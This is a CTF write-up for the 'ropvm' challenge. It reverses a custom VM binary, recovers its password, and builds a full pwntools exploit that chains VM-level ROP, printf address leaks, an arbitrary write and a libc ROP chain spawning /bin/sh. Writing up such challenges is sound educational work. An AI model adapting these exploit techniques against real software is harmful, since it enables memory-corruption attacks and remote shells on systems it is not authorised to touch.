ropvm
Description
This isnât your usual machine.
Think differently and precisely. Then the flag is yours.
nc chal.h4c.cddc2025.xyz 31123
Solution
Sadly, I only managed to solve this after the CTF ended.
TL;DR
Reverse the binary and the vm to understand the program
Enter the correct password to bypass the password checker
Exploit buffer overflow in VM region to ROP
ROP to printf to leak libc, heap, and stack addresses
ROP to read into VM region so that you can write your own instructions for the VM to execute
Make instructions read to reg1 to overwrite with offset in stack region, then perform normal ret2libc
Analysis
Understanding The VM
Running checksec
, we can see that it has all possible protections enabled.

Opening ropvm
in IDA, we can tell that it reads of bytes of program.bin
and the function at sub_3A70
executes code according to the bytes read, which is essentially the VM functionality.
Using LLM to decode the VM functionalities in the sub_3A70
function, we can understand what each variable and the different instructions it could process.
We discover that each instruction processed is of 16 bytes each, where each instruction contains:
4bytes: opcode (<= 24) 4bytes: 1st operand 4bytes: 2st operand 4bytes: 3st operand
We also see what each opcode does:
0x01 (1)
LOAD
reg[op1] = memory[op2]
0x02 (2)
STORE
memory[op2] = reg[op1]
0x03 (3)
ADD
reg[op1] = reg[op2] + reg[op3]
0x04 (4)
SUB
reg[op1] = reg[op2] - reg[op3)
0x05 (5)
MUL
reg[op1] = reg[op2] * reg[op3]
0x06 (6)
DIV
reg[op1] = reg[op2] / reg[op3]
0x07 (7)
JMP
EIP = memory[op1]
0x08 (8)
JEQ
if reg[op1] == reg[op2] then PC = memory[op3]
0x09 (9)
JNE
if reg[op1] != reg[op2] then PC = memory[op3]
0x0a (10)
JLT
if reg[op1] < reg[op2] then PC = memory[op3]
0x0b (11)
JGE
if reg[op1] >= reg[op2] then PC = memory[op3]
0x0c (12)
CALL
PUSH ret addr, jmp memory[op1]
0x0d (13)
RET
POP EIP
0x0e (14)
HALT
Stop execution
0x0f (15)
PUSH
PUSH reg[op1]
0x10 (16)
POP
POP reg[op1]
0x11 (17)
MOV
reg[op1] = reg[op2]
0x12 (18)
CMP
reg[op1] = (reg[op2] == reg[op2])
0x13 (19)
XOR
reg[op1] = reg[op2] ^ reg[op3]
0x14 (20)
INC
reg[op1]++
0x15 (21)
SYSCALL
reg[0] = syscall number syscall numbers: 0=read, 1=printf, 3=exit
0x16 (22)
LOADI
reg[op1] = op2
0x17 (23)
LOADR
reg[op1] = memory[reg[op2]]
0x18 (24)
AND
reg[op1] = reg[op2] & op3
There are 3 syscalls implemented:
reg[0] == 0:
read(stdin, memory + reg[1], reg[2])
reg[0] == 1:
printf(memory + reg[1], memory + reg[2])
reg[0] == 3:
exit()
Analyzing program.bin
This is a rough disassembly of the some parts of program.bin
:
0x10: 0000000C 00000100 00000000 00000000 â CALL mem+0x100
0x20: 0000000C 00001000 00000000 00000000 â CALL mem+0x1000
0x30: 0000000C 00000200 00000000 00000000 â CALL mem+0x200
0x40: 0000000C 00001300 00000000 00000000 â CALL mem+0x1300
0x50: 0000000C 00000900 00000000 00000000 â CALL mem+0x900
0x60: 0000000E 00000000 00000000 00000000 (HALT)
Prints banner
0x100: 0000000F 0000000D 00000000 00000000 â PUSH reg[13]
0x110: 00000011 0000000D 0000000E 00000000 â MOV reg[13], reg[14]
0x120: 00000016 00000000 00000001 00000000 â LOAD_IMM reg[0], 1
0x130: 00000016 00000001 00008000 00000000 â LOAD_IMM reg[1], 128 (0x80)
0x140: 00000016 00000002 00008010 00000000 â LOAD_IMM reg[2], 32784 (0x8010)
0x150: 00000015 00000000 00000000 00000000 â SYSCALL (reg[0]=1, reg[1]=128, reg[2]=32784)
0x160: 00000011 0000000E 0000000D 00000000 â MOV reg[14], reg[13]
0x170: 00000010 0000000D 00000000 00000000 â POP reg[13]
0x180: 0000000D 00000000 00000000 00000000 â RET
read(stdin, memory + 240, 64)
0x200: 0000000F 0000000D 00000000 00000000 â PUSH reg[13]
0x210: 00000011 0000000D 0000000E 00000000 â MOV reg[13], reg[14]
0x220: 00000016 00000000 00000000 00000000 â LOAD_IMM reg[0], 0
0x230: 00000016 00000001 0000F000 00000000 â LOAD_IMM reg[1], 240 (0xF0)
0x240: 00000016 00000002 00000040 00000000 â LOAD_IMM reg[2], 64 (0x40)
0x250: 00000015 00000000 00000000 00000000 â SYSCALL (reg[0]=0, reg[1]=240, reg[2]=64)
0x260: 00000011 0000000E 0000000D 00000000 â MOV reg[14], reg[13]
0x270: 00000010 0000000D 00000000 00000000 â POP reg[13]
0x280: 0000000D 00000000 00000000 00000000 â RET
printf(memory + 128, memory + prev_reg[0])
0x300: 0000000F 0000000D 00000000 00000000 â PUSH reg[13]
0x310: 00000011 0000000D 0000000E 00000000 â MOV reg[13], reg[14]
0x320: 00000011 00000002 00000000 00000000 â MOV reg[2], reg[0]
0x330: 00000016 00000000 00000001 00000000 â LOAD_IMM reg[0], 1
0x340: 00000016 00000001 00008000 00000000 â LOAD_IMM reg[1], 128
0x350: 00000015 00000000 00000000 00000000 â SYSCALL (reg[0]=1, reg[1]=128, reg[2]=prev reg[0])
0x360: 00000011 0000000E 0000000D 000000000 â MOV reg[14], reg[13]
0x370: 00000010 0000000D 00000000 00000000 â POP reg[13]
0x380: 0000000D 00000000 00000000 00000000 â RET
POP reg[0]
0x400: 0000000F 0000000D 00000000 00000000 â PUSH reg[13]
0x410: 00000011 0000000D 0000000E 00000000 â MOV reg[13], reg[14]
0x420: 00000010 00000000 00000000 00000000 â POP reg[0]
0x430: 00000011 0000000E 0000000D 000000000 â MOV reg[14], reg[13]
0x440: 00000010 0000000D 00000000 00000000 â POP reg[13]
0x450: 0000000D 00000000 00000000 00000000 â RET
POP reg[1]
0x500: 0000000F 0000000D 00000000 00000000 â PUSH reg[13]
0x510: 00000011 0000000D 0000000E 00000000 â MOV reg[13], reg[14]
0x520: 00000010 00000001 00000000 00000000 â POP reg[1]
0x530: 00000011 0000000E 0000000D 00000000 â MOV reg[14], reg[13]
0x540: 00000010 0000000D 00000000 00000000 â POP reg[13]
0x550: 0000000D 00000000 00000000 00000000 â RET
POP reg[2]
0x600: 0000000F 0000000D 00000000 00000000 â PUSH reg[13]
0x610: 00000011 0000000D 0000000E 00000000 â MOV reg[13], reg[14]
0x620: 00000010 00000002 00000000 00000000 â POP reg[2]
0x630: 00000011 0000000E 0000000D 00000000 â MOV reg[14], reg[13]
0x640: 00000010 0000000D 00000000 00000000 â POP reg[13]
0x650: 0000000D 00000000 00000000 00000000 â RET
reg[1] = reg[0] * reg[1]
0x700: 0000000F 0000000D 00000000 00000000 â PUSH reg[13]
0x710: 00000011 0000000D 0000000E 00000000 â MOV reg[13], reg[14]
0x720: 00000005 00000001 00000000 00000001 â MUL reg[1], reg[0], reg[1]
0x730: 00000011 0000000E 0000000D 00000000 â MOV reg[14], reg[13]
0x740: 00000010 0000000D 00000000 00000000 â POP reg[13]
0x750: 0000000D 00000000 00000000 00000000 â RET
memory[32852] = memory[32848]
0x800: 0000000F 0000000D 00000000 00000000 â PUSH reg[13]
0x810: 00000011 0000000D 0000000E 00000000 â MOV reg[13], reg[14]
0x820: 00000001 00000000 00008050 00000000 â LOAD reg[0], memory[32848]
0x830: 00000002 00000000 00008054 00000000 â STORE memory[32852], reg[0]
0x840: 00000011 0000000E 0000000D 00000000 â MOV reg[14], reg[13]
0x850: 00000010 0000000D 00000000 00000000 â POP reg[13]
0x860: 0000000D 00000000 00000000 00000000 â RET
exit()
0x900: 0000000F 0000000D 00000000 00000000 â PUSH reg[13]
0x910: 00000011 0000000D 0000000E 00000000 â MOV reg[13], reg[14]
0x920: 00000016 00000000 00000003 00000000 â LOAD_IMM reg[0], 3
0x930: 00000015 00000000 00000000 00000000 â SYSCALL (reg[0]=3)
0x940: 00000011 0000000E 0000000D 00000000 â MOV reg[14], reg[13]
0x950: 00000010 0000000D 00000000 00000000 â POP reg[13]
0x960: 0000000D 00000000 00000000 00000000 â RET
read(stdin, reg[14] - 32, 256)
0xa00: 0000000F 0000000D 00000000 00000000 â PUSH reg[13]
0xa10: 00000011 0000000D 0000000E 00000000 â MOV reg[13], reg[14]
0xa20: 00000016 00000000 00000020 00000000 â LOAD_IMM reg[0], 32 (0x20)
0xa30: 00000004 0000000E 0000000E 00000000 â SUB reg[14], reg[14], reg[0]
0xa40: 00000016 00000000 00000000 00000000 â LOAD_IMM reg[0], 0
0xa50: 00000011 00000001 0000000E 00000000 â MOV reg[1], reg[14]
0xa60: 00000016 00000002 00000100 000000001 â LOAD_IMM reg[2], 256 (0x100)
0xa70: 00000015 00000000 00000000 000000000 â SYSCALL (reg[0]=0, reg[1]=0, reg[2]=256)
0xa80: 00000011 00000000 0000000E 00000000 â MOV reg[0], reg[14] (reg[0] = 0)
0xa90: 00000011 0000000E 0000000D 00000000 â MOV reg[14], reg[13]
0xaa0: 00000010 0000000D 00000000 000000000 â POP reg[13]
0xab0: 0000000D 00000000 00000000 000000000 â RET
0x1000 printf(memory + 128, memory + 32816)
0x1100 printf(memory + 128, memory + 32880) # success message
0x1200 printf(memory + 128, memory + 32848) # failure message
0x1300 prompts for password, if correct then call function at 0xa00
We can see that the function at 0x1300
is the one that prompts and checks for the password, we can ask Claude to help us figure out the password, which is V3ry53cretP4ass
.
We can also recognize that reg[13] = ebp
and reg[14] = esp
through recognizing the function prologue and epilogue in typical functions. This shows that it reads to esp-32
, but it reads in 256
bytes, which shows there is a clear "buffer overflow".

Sending 50 "A"s returns a "Access violation" error, which shows that some kind of overflow is happening. This message however, is printed out by the VM interpreter itself, which has certain checks in place. Thankfully, we can perform ROP using the VM's instructions, since we have control of the VM's "EIP".
VM ROP
To achieve a shell, we need a way to leak addresses first, which we can do so as we can control the VM's register values and we can ROP to syscall
to printf with reg[0]
pointing to out custom string with a bunch of "%p
"s. Unfortunately, we cannot use printf
to write to addresses as FORTIFY
protection is enabled, but we have address leaks.
We will craft our payload by POP
ing 0 into reg[0]
(read) and an arbitrary address we want to write to into reg[1]
. We wrote to a part of the VM with a bunch of nulls (0x2000). We will then we return to 0xa70
, which just calls syscall
and returns:
0xa60: 00000016 00000002 00000100 000000001 â LOAD_IMM reg[2], 256 (0x100)
0xa70: 00000015 00000000 00000000 000000000 â SYSCALL (reg[0]=0, reg[1]=0, reg[2]=256)
0xa80: 00000011 00000000 0000000E 00000000 â MOV reg[0], reg[14] (reg[0] = 0)
0xa90: 00000011 0000000E 0000000D 00000000 â MOV reg[14], reg[13]
0xaa0: 00000010 0000000D 00000000 000000000 â POP reg[13]
0xab0: 0000000D 00000000 00000000 000000000 â RET
We craft our first payload like so:
Note that we have to +0x10 for each POP gadget in order to continue controlling the RIP on the stack after each RET
pop_0 = 0x410
pop_1 = 0x510
write_sys = 0xa60
payload = b''
payload = payload.ljust(36, b'\x00')
payload = payload + p32(pop_0) + p32(0)
payload += p32(write_sys)
p.send(payload)
p.recv(10)
p.send(cyclic(200))
When we send this payload, we can break when the RET is executed to determine where it returns to. We broke at +0x3eaf
and view the value in RDX, which should contain the return address.

In this case, we see RDX
is part of our cyclic value sent in the second payload, at an offset of 4. We can control this so that it returns to our payload we just wrote to, which is at 0x2008
! We can then write our own VM shellcode.
VM Shellcoding (address leak)
We first write a shellcode to use printf
to leak addresses, where the "%p
"s will be placed in the first payload and pop the offset to it is in reg[1]
.
I added this to my first payload, and calculated that the offset to the "%p
"s were at memory+0xe021
:
payload += cyclic(25)
payload += b'%p'*40 + b'%p %p %p %p||'
Afterwards, we need to continue the payload so we create another read
syscall. However, we now overwrite the instructions at 0xa80
and we then jump to 0xa60
, which is right before the syscall. This makes it so that my next payload would be executed as VM instructions right after the read
syscall is done. (I had to do this as I did not think of overwriting the size at that time, so had size restrictions and had to keep jumping around)
0xa60: 00000016 00000002 00000100 000000001 â LOAD_IMM reg[2], 256 (0x100)
0xa70: 00000015 00000000 00000000 000000000 â SYSCALL (reg[0]=0, reg[1]=0, reg[2]=256)
0xa80: <this will be my next payload>
payload = b'AAAA' + p32(0x2008)
payload += p32(0x11) + p32(0x0d) + p32(0x0e) + p32(0)
payload += p32(0x11) + p32(0x02) + p32(0) + p32(0) # make sure not to clobber the stack
payload += p32(0x16) + p32(0) + p32(0x1) + p32(0)
payload += p32(0x16) + p32(0x1) + p32(0xe021) + p32(0) # 0xe021 offset
payload += p32(0x15) + p32(0) + p32(0) + p32(0) # printf(memory+0xe021), containing the "%p"s
payload += p32(0x11) + p32(0x0e) + p32(0x0d) + p32(0)
payload += p32(0x10) + p32(0xd) + p32(0) + p32(0)
payload += p32(0x16) + p32(0) + p32(0) + p32(0)
payload += p32(0x16) + p32(1) + p32(0xa80) + p32(0) # 0xa80 is right after the syscall
payload += p32(0x7) + p32(0xa60) + p32(0x0) + p32(0) # jump to 0xa60
payload += p32(0xd) + p32(0) + p32(0) + p32(0)
p.send(payload)
Now we can see that we have a bunch of addresses leaked, in which case we can parse them to get the heap address, stack address, and libc address.

After we have the address leaks, we can write a final payload to overwrite RIP on the stack with actual libc ROP gadgets and perform ret2libc. This would require to get the read
syscall to read to stack addresses. There are also no checks performed on the offset that it reads to, which makes this vulnerable.
However, we can't simply just pop an offset to libc into reg[1]
as each POP only takes in 32 bits and the offset between libc and the heap base is way more than 32 bits. So with this, we only have a partial arbitrary read, where we can read to addresses in the heap and lower addresses.
VM Shellcoding (read to stack)
We can simply bypass this 32 bit restriction by not using the VM's POP instructions, but to just use the partial arbitrary read we have to read into the address where reg[1] resides, which contains the offset, then we can write a 64 bit offset to libc to reg[1]!
reg1_addr = 0x555555570eb8
reg1_offset = reg1_addr - 0x555555570f40
payload = b''
payload += p32(0x16) + p32(0) + p32(0) + p32(0)
payload += p32(0x16) + p32(1) + p32(reg1_offset & 0xffffffff) + p32(0)
payload += p32(0x16) + p32(2) + p32(256) + p32(0)
payload += p32(0x15) + p32(0) + p32(0x0) + p32(0) # read(stdin, memory+offset_reg1, 256)
payload += p32(0x15) + p32(0) + p32(0x0) + p32(0) # read(stdin, memory+stack_offset , 256)
p.send(payload)
pause()
goal_to_write = p64(b'AAAABBBB')
offset = goal_to_write - (heap_leak - 57352)
payload = p64(offset)
p.send(payload) # overwrites reg[1]
Breaking at the read right after modifying reg[1], we can see the next read is reading to any address we control and its a 64 bit address, so we have a full arbitrary read!

Now we just set this read address to read to the stack and overwrite RIP during the read syscall, then use libc ROP gadgets to perform ret2libc and get a shell.
Classic ret2libc
Nothing special about this part, just create a ROP chain to get execve("/bin/sh",0,0)
and overwrite at the address where RIP is found on the stack.
pop_rdi = libc.address + 0x000000000002a3e5
pop_rsi = libc.address + 0x000000000002be51
pop_rdx_rbx = libc.address + 0x00000000000904a9
binsh = next(libc.search(b'/bin/sh'))
payload = p64(pop_rdi)
payload += p64(binsh)
payload += p64(pop_rsi)
payload += p64(0)
payload += p64(pop_rdx_rbx)
payload += p64(0)
payload += p64(0)
payload += p64(libc.sym['execve'])
p.send(payload)
Final Exploit
#!/usr/bin/env python3
from pwn import *
elf = context.binary = ELF("./ropvm_patched")
libc = ELF("./libroot/libc.so.6")
# url,port = "chal.h4c.cddc2025.xyz",31123
url,port = "localhost", 4040
if args.REMOTE:
p = remote(url,port)
else:
p = elf.process(aslr=False)
if args.GDB:
gdb.attach(p, '''
''')
# break *0x555555557fdd
"""
POP reg[14] = reg[13]
0xc00: 0F 00 00 00 0D 00 00 00 â PUSH reg[13]
0xc10: 11 00 00 00 0D 00 0E 00 â MOV reg[13], reg[14]
0xc20: 10 00 00 00 0E 00 00 00 â POP reg[14]
0xc30: 0D 00 00 00 00 00 00 00 â RET
"""
goaltowrite = 0x7fffffffc9e8
# writing to 0x55555557032c
# 0x555555557ac3
retaddr = 0x55555557c334
# mov retaddr into 0x55555556e328
offset_to_stack = 0x55555556e320
regbase = 0x55555556e2b0
starting = 0x55555556e340
writeto = 0x55555557c310
password = b'V3ry53cretP4ass'
p.clean()
p.sendline(password)
pop_0 = 0x410
pop_1 = 0x510
write_sys = 0xa60
# pause()
payload = b''
payload = payload.ljust(36, b'\x00')
payload = payload + p32(pop_0) + p32(0)
payload += p32(pop_1) + p32(0x2000)
payload += p32(write_sys)
payload += cyclic(25)
payload += b'%p'*40 + b'%p %p %p %p||'
print(len(payload))
p.recvuntil(b'Password!')
p.send(payload)
print(p.recv(10))
payload = b'AAAA' + p32(0x2008)
payload += p32(0x11) + p32(0x0d) + p32(0x0e) + p32(0)
payload += p32(0x11) + p32(0x02) + p32(0) + p32(0) # make sure not to clobber the stack
payload += p32(0x16) + p32(0) + p32(0x1) + p32(0)
payload += p32(0x16) + p32(0x1) + p32(0xe021) + p32(0) # 0xe021 offset
payload += p32(0x15) + p32(0) + p32(0) + p32(0) # printf(memory+0xe021), containing the "%p"s
payload += p32(0x11) + p32(0x0e) + p32(0x0d) + p32(0)
payload += p32(0x10) + p32(0xd) + p32(0) + p32(0)
payload += p32(0x16) + p32(0) + p32(0) + p32(0)
payload += p32(0x16) + p32(1) + p32(0xa80) + p32(0) # 0xa80 is right after the syscall
payload += p32(0x7) + p32(0xa60) + p32(0x0) + p32(0) # jump to 0xa60
payload += p32(0xd) + p32(0) + p32(0) + p32(0)
print(len(payload))
p.send(payload)
print(p.recvuntil(b'0x'))
heap_leak = int(p.recvuntil(b'0x',drop=True).decode(),16)
print("Heap leak:", hex(heap_leak))
p.recvuntil(b'(nil)')
p.recvuntil(b'(nil)0x10x')
stack_leak = int(p.recvuntil(b' ',drop=True).decode(), 16)
print(hex(stack_leak))
p.recvuntil(b' ')
p.recvuntil(b' ')
libc_leak = int(p.recvuntil(b'||',drop=True).decode(), 16)
libc.address = libc_leak - 0x29d90 # - 120 -libc.sym['__libc_start_main']
print("LIBC:", hex(libc.address))
p.clean()
reg1_addr = 0x555555570eb8
reg1_offset = reg1_addr - 0x555555570f40
payload = b''
payload += p32(0x16) + p32(0) + p32(0) + p32(0)
payload += p32(0x16) + p32(1) + p32(reg1_offset & 0xffffffff) + p32(0)
payload += p32(0x16) + p32(2) + p32(256) + p32(0)
payload += p32(0x15) + p32(0) + p32(0x0) + p32(0) # read(stdin, memory+offset_reg1, 256)
payload += p32(0x15) + p32(0) + p32(0x0) + p32(0) # read(stdin, memory+stack_offset , 256)
# 0x555555557ac3
pause()
p.send(payload)
pause()
goal_to_write = stack_leak - 0x250
offset = goal_to_write - (heap_leak - 57352)
payload = p64(offset)
p.send(payload) # overwrites reg[1]
pause()
# 0x000000000002a3e5 : pop rdi ; ret
# 0x000000000002be51 : pop rsi ; ret
# 0x00000000000904a9 : pop rdx ; pop rbx ; ret
pop_rdi = libc.address + 0x000000000002a3e5
pop_rsi = libc.address + 0x000000000002be51
pop_rdx_rbx = libc.address + 0x00000000000904a9
binsh = next(libc.search(b'/bin/sh'))
payload = p64(pop_rdi)
payload += p64(binsh)
payload += p64(pop_rsi)
payload += p64(0)
payload += p64(pop_rdx_rbx)
payload += p64(0)
payload += p64(0)
payload += p64(libc.sym['execve'])
p.send(payload)
p.interactive()
p.close()

Last updated
Was this helpful?